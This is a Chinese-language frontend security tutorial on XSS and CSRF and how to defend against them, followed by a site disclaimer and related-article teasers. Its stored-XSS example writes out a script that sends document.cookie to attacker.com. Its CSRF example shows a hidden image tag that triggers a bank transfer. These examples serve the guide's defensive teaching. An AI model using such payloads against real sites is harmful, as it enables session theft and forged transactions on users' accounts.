前端安全：XSS、CSRF 防御与最佳实践

引言

随着互联网应用的普及，前端安全问题日益凸显。作为开发者，了解并防范常见的安全威胁至关重要。本文将深入探讨两种最常见的前端安全威胁：跨站脚本攻击（XSS）和跨站请求伪造（CSRF），并提供实用的防御策略与最佳实践。

一、跨站脚本攻击（XSS）

1.1 什么是XSS？

XSS（Cross-Site Scripting）是一种代码注入攻击，攻击者通过在受信任的网站上注入恶意脚本代码，当用户浏览该页面时，恶意脚本会在用户的浏览器中执行。

1.2 XSS的类型

1.2.1 存储型XSS

恶意代码被存储在目标服务器上（如数据库），当用户请求包含此恶意代码的页面时，代码会被执行。

// 用户输入（存储到数据库）
const userComment = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>";// 服务器直接渲染到页面
document.getElementById('comments').innerHTML = userComment; // 危险操作！
1.2.2 反射型XSS

攻击者将恶意代码嵌入到URL中，当服务器接收到请求后，恶意代码会被"反射"回用户的浏览器执行。

https://example.com/search?q=<script>alert('XSS')</script>
1.2.3 DOM型XSS

完全在客户端执行，恶意代码通过修改DOM环境在本地执行。

// URL: https://example.com/page#<script>alert('XSS')</script>
document.getElementById('output').innerHTML = location.hash.substring(1); // 危险操作！

1.3 XSS防御策略

1.3.1 输入验证与过滤

对用户输入进行严格验证，过滤特殊字符：

// 简单的HTML转义函数
function escapeHTML(str) {return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#039;');
}// 使用
const userInput = "<script>alert('XSS')</script>";
const safeInput = escapeHTML(userInput);
document.getElementById('content').textContent = safeInput; // 更安全的方式
1.3.2 使用安全的API

优先使用不解析HTML的API：

// 不安全
element.innerHTML = userInput;// 安全
element.textContent = userInput;
1.3.3 内容安全策略（CSP）

通过HTTP头或meta标签配置CSP，限制资源加载和脚本执行：

<!-- 通过meta标签设置CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted-cdn.com;">

服务器端设置：

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
1.3.4 使用现代框架

现代前端框架（React、Vue、Angular）默认会对数据进行转义：

// React自动转义
function Comment({ text }) {return <div>{text}</div>; // React自动转义text内容
}

<!-- Vue自动转义 -->
<template><div>{{ userInput }}</div> <!-- Vue自动转义 -->
</template>

二、跨站请求伪造（CSRF）

2.1 什么是CSRF？

CSRF（Cross-Site Request Forgery）是一种攻击，强制已认证用户执行非本意的操作，如在不知情的情况下更改账户信息、发送消息等。

2.2 CSRF攻击示例

假设用户已登录银行网站，攻击者可能会诱导用户访问包含以下代码的恶意网站：

<!-- 恶意网站的HTML -->
<img src="https://bank.example.com/transfer?to=attacker&amount=1000" style="display:none">

当用户访问恶意网站时，浏览器会自动发送请求到银行网站，并携带用户的认证Cookie。

2.3 CSRF防御策略

2.3.1 CSRF Token

在表单中嵌入一个随机生成的令牌，服务器验证该令牌：

<form action="/transfer" method="POST"><input type="hidden" name="csrf_token" value="random_token_here"><!-- 其他表单字段 --><button type="submit">转账</button>
</form>

前端AJAX请求中添加CSRF Token：

// 使用Axios发送请求
axios.defaults.headers.common['X-CSRF-TOKEN'] = document.querySelector('meta[name="csrf-token"]').getAttribute('content');axios.post('/api/transfer', {amount: 1000,recipient: 'friend'
});
2.3.2 SameSite Cookie属性

设置Cookie的SameSite属性可以防止跨站请求发送Cookie：

Set-Cookie: sessionid=abc123; SameSite=Strict;
  • Strict: 仅在同站点请求时发送Cookie
  • Lax: 导航到目标网址的GET请求会发送Cookie（默认值）
  • None: 在跨站请求中也会发送Cookie（需要设置Secure属性）
2.3.3 检查Referer和Origin头

服务器可以检查请求的Referer或Origin头，确保请求来自合法来源：

// 服务器端代码示例（Node.js）
app.post('/api/transfer', (req, res) => {const referer = req.headers.referer || '';const origin = req.headers.origin || '';if (!referer.startsWith('https://yourwebsite.com') && !origin.startsWith('https://yourwebsite.com')) {return res.status(403).json({ error: 'Invalid request source' });}// 处理请求...
});
2.3.4 使用双重提交Cookie

设置一个Cookie，并在请求参数中也提交相同的值：

// 设置Cookie
document.cookie = "csrfCookie=random_token; path=/; SameSite=Strict";// 发送请求时包含相同的值
fetch('/api/transfer', {method: 'POST',headers: {'Content-Type': 'application/json','X-CSRF-Token': 'random_token' // 与Cookie值相同},body: JSON.stringify({ amount: 1000, recipient: 'friend' })
});

三、其他前端安全最佳实践

3.1 HTTPS的使用

始终使用HTTPS协议，防止中间人攻击和数据窃听：

// 检测并重定向到HTTPS
if (location.protocol !== 'https:') {location.replace(`https:${location.href.substring(location.protocol.length)}`);
}

3.2 安全的依赖管理

定期更新依赖包，使用工具扫描潜在安全漏洞：

# 使用npm audit检查依赖安全问题
npm audit# 修复安全问题
npm audit fix

3.3 安全的本地存储使用

敏感信息不应存储在localStorage或sessionStorage中：

// 不安全
localStorage.setItem('authToken', token);// 更安全（仅在HTTPS下使用Cookie存储）
document.cookie = `authToken=${token}; Secure; HttpOnly; SameSite=Strict`;

3.4 防止点击劫持

使用X-Frame-Options或CSP frame-ancestors防止网站被嵌入到iframe中：

X-Frame-Options: DENY

或在前端实现防护：

// 如果页面被嵌入iframe，强制跳出
if (window !== window.top) {window.top.location = window.location;
}

3.5 子资源完整性（SRI）

使用SRI确保加载的外部资源未被篡改：

<script src="https://cdn.example.com/library.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script>

四、安全测试与审计

4.1 自动化安全测试

集成安全测试到CI/CD流程：

# 使用OWASP ZAP进行自动化安全测试
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://yourwebsite.com

4.2 渗透测试

定期进行渗透测试，发现潜在安全漏洞。

4.3 代码审计

进行安全代码审查，特别关注用户输入处理和认证逻辑。

结论

前端安全是一个持续的过程，需要开发者保持警惕并采取多层次的防御策略。通过理解XSS和CSRF等常见攻击方式，并实施本文提到的防御措施，可以显著提高应用的安全性。

参考资源

  1. OWASP Top Ten
  2. Content Security Policy (CSP)
  3. SameSite Cookies Explained
  4. Subresource Integrity
  5. OWASP XSS Prevention Cheat Sheet
  6. OWASP CSRF Prevention Cheat Sheet

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/pingmian/81477.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

uniapp 弹窗封装（上、下、左、右、中五个方位）

uniapp 弹窗封装（上、下、左、右、中五个方位）

无脑复制即可&#xff01;&#xff01;&#xff01; <template><view><viewv-if"mask"class"tui-drawer-mask":class"{ tui-drawer-mask_show: visible }":style"{ zIndex: maskZIndex }"tap"handleMaskClick&qu…
阅读更多...
Axure制作可视化大屏动态滚动列表教程

Axure制作可视化大屏动态滚动列表教程

在可视化大屏设计中&#xff0c;动态滚动列表是一种常见且实用的展示方式&#xff0c;能够有效地展示大量信息。本文将详细介绍如何使用Axure制作一个动态滚动的列表展示模块。 一、准备工作 打开Axure软件&#xff1a;确保你已经安装并打开了Axure RP软件。创建新项目&#x…
阅读更多...
零基础玩转Apache Superset可视化部署

零基础玩转Apache Superset可视化部署

根据官方Quick Start Guide&#xff0c;你可以按照以下步骤进行部署&#xff1a; 1. 确认环境2. 获取代码3. 获取官方最新代码4. 启动服务5. 访问Superset Web界面6. 接入数据源 前提条件&#xff1a; dockerdocker compose 1. 确认环境 安装Docker和Docker Compose 确保你…
阅读更多...
服务器数据恢复—XFS文件系统分区消失的数据恢复案例

服务器数据恢复—XFS文件系统分区消失的数据恢复案例

服务器数据恢复环境&故障&#xff1a; 服务器上有一组由raid卡组建的raid5磁盘阵列。上层安装linux才做系统&#xff0c;采用XFS文件系统&#xff0c;划分了3个分区。 管理员将服务器的操作系统重装后&#xff0c;发现服务器上的分区发生了改变&#xff1a;一个分区消失&am…
阅读更多...
2025/5/18

2025/5/18

继续研究一下大佬的RAG项目。开始我的碎碎念。 RAG可以分成两部分&#xff1a;一个是问答&#xff0c;一个是数据处理。 问答是人提问&#xff0c;然后查数据库&#xff0c;把查的东西用大模型组织成人话&#xff0c;回答人的提问。 数据处理是把当下知识库里的东西&#xf…
阅读更多...
在 Vue 中插入 B 站视频

在 Vue 中插入 B 站视频

前言 在 Vue 项目中&#xff0c;有时我们需要嵌入 B 站视频来丰富页面内容&#xff0c;为用户提供更直观的信息展示。本文将详细介绍在 Vue 中插入 B 站视频的多种方法。 使用<iframe>标签直接嵌入,<iframe>标签是一种简单直接的方式&#xff0c;可将 B 站视频嵌…
阅读更多...
OpenCv高阶（八）——摄像头调用、摄像头OCR

OpenCv高阶（八）——摄像头调用、摄像头OCR

文章目录 前言一、摄像头调用通用方法1、导入必要的库2、创建摄像头接口 二、摄像头OCR1.引入库2、定义函数&#xff08;1&#xff09;定义显示opencv显示函数&#xff08;2&#xff09;保持宽高比的缩放函数&#xff08;3&#xff09;坐标点排序函数&#xff08;4&#xff09;…
阅读更多...
特斯拉虚拟电厂：能源互联网时代的分布式革命

特斯拉虚拟电厂：能源互联网时代的分布式革命

在双碳目标与能源转型的双重驱动下&#xff0c;特斯拉虚拟电厂&#xff08;Virtual Power Plant, VPP&#xff09;通过数字孪生技术与能源系统的深度融合&#xff0c;重构了传统电力系统的运行范式。本文从系统架构、工程实践、技术挑战三个维度&#xff0c;深度解析这一颠覆性…
阅读更多...
【漫话机器学习系列】258.拐点（Inflection Point）

【漫话机器学习系列】258.拐点（Inflection Point）

拐点&#xff08;Inflection Point&#xff09;详解&#xff1a;定义、原理与应用 在数学分析与数据建模中&#xff0c;“拐点&#xff08;Inflection Point&#xff09;”是一个非常重要的概念。今天这篇文章&#xff0c;我们将结合图示&#xff0c;深入理解拐点的定义、数学…
阅读更多...
语音识别——声纹识别

语音识别——声纹识别

通过将说话人的声音与数据库中的记录声音进行比对&#xff0c;判断说话人是否为数据库白名单中的同一人&#xff0c;从而完成语音验证。目前&#xff0c;3D-Speaker 声纹验证的效果较为出色。 3D-Speaker 是一个开源工具包&#xff0c;可用于单模态和多模态的说话人验证、说话…
阅读更多...
DeepSeek 赋能军事：重塑现代战争形态的科技密码

DeepSeek 赋能军事：重塑现代战争形态的科技密码

目录 一、引言&#xff1a;AI 浪潮下的军事变革与 DeepSeek 崛起二、DeepSeek 技术原理与特性剖析2.1 核心技术架构2.2 独特优势 三、DeepSeek 在军事侦察中的应用3.1 海量数据快速处理3.2 精准目标识别追踪3.3 预测潜在威胁 四、DeepSeek 在军事指挥决策中的应用4.1 战场态势实…
阅读更多...
uWSGI是什么？

uWSGI是什么？

uWSGI 是一个功能强大的应用服务器&#xff0c;专为部署高性能 Web 应用设计&#xff0c;尤其适合 Python 生态系统。以下是对其核心介绍及适用场景的总结&#xff1a; uWSGI 是什么&#xff1f; uWSGI 是一个实现了 WSGI&#xff08;Web Server Gateway Interface&#xff09…
阅读更多...
Digi XBee XR 系列介绍

Digi XBee XR 系列介绍

Digi 延续了 20 多年来亚 GHz 射频模块的传统&#xff0c;推出了 Digi XBee XR 系列远距离模块&#xff0c;包括 Digi XBee XR 900 - 已通过多个地区的预先认证 - 以及 Digi XBee XR 868 - 已通过欧洲地区应用的预先认证。 这些先进的射频模块专为远距离抗干扰无线通信而设计。…
阅读更多...
RabbitMq C++客户端的使用

RabbitMq C++客户端的使用

介绍 RabbitMQ 是一个开源的消息代理和队列服务器&#xff0c;用于在分布式系统之间传递消息。它实现了高级消息队列协议(AMQP)&#xff0c;同时也支持其他协议如 STOMP、MQTT 等。 核心概念 Producer(生产者): 发送消息的应用程序 Consumer(消费者): 接收消息的应用程序 Q…
阅读更多...
HTML 中的 input 标签详解

HTML 中的 input 标签详解

HTML 中的 input 标签详解 一、基础概念 1. 定义与作用 HTML 中的 <input> 标签是表单元素的核心组件&#xff0c;用于创建各种用户输入字段。作为一个空标签&#xff08;没有闭合标签&#xff09;&#xff0c;它通过 type 属性来决定呈现何种输入控件&#xff0c;是实…
阅读更多...
基于Piecewise Jerk Speed Optimizer的速度规划算法(附ROS C++/Python仿真)

基于Piecewise Jerk Speed Optimizer的速度规划算法(附ROS C++/Python仿真)

目录 1 时空解耦运动规划2 PJSO速度规划原理2.1 优化变量2.2 代价函数2.3 约束条件2.4 二次规划形式 3 算法仿真3.1 ROS C仿真3.2 Python仿真 1 时空解耦运动规划 在自主移动系统的运动规划体系中&#xff0c;时空解耦的递进式架构因其高效性与工程可实现性被广泛采用。这一架…
阅读更多...
2025云上人工智能安全发展研究

2025云上人工智能安全发展研究

随着人工智能&#xff08;AI&#xff09;技术与云计算的深度融合&#xff0c;云上AI应用场景不断扩展&#xff0c;但安全挑战也日益复杂。结合2025年的技术演进与行业实践&#xff0c;云上AI安全发展呈现以下关键趋势与应对策略&#xff1a; 一、云上AI安全的主要挑战 数据泄露…
阅读更多...
MCU裸机程序如何移植到RTOS？

MCU裸机程序如何移植到RTOS？

目录 1、裸机编程 2、实时操作系统 3、移植裸机程序到RTOS的步骤 步骤1&#xff1a;分析裸机代码 步骤2&#xff1a;选择并设置RTOS环境 步骤3&#xff1a;设计任务架构 步骤4&#xff1a;实现任务间通信 步骤5&#xff1a;处理硬件交互 步骤6&#xff1a;测试和调试 …
阅读更多...
LangPDF: Empowering Your PDFs with Intelligent Language Processing

LangPDF: Empowering Your PDFs with Intelligent Language Processing

LangPDF: Empowering Your PDFs with Intelligent Language Processing Unlock Global Communication: AI-Powered PDF Translation and Beyond In an interconnected world, seamless multilingual document management is not just an advantage—it’s a necessity. LangP…
阅读更多...
什么是dom？作用是什么

什么是dom？作用是什么

DOM 的定义 DOM&#xff08;Document Object Model&#xff0c;文档对象模型&#xff09;是 HTML 和 XML 文档的编程接口。它将文档解析为一个由节点和对象组成的树状结构&#xff0c;允许开发者通过编程方式动态访问和操作文档的内容、结构和样式。 DOM 的作用 DOM 的主要作…
阅读更多...
最新文章

Copyright @ 2022~2023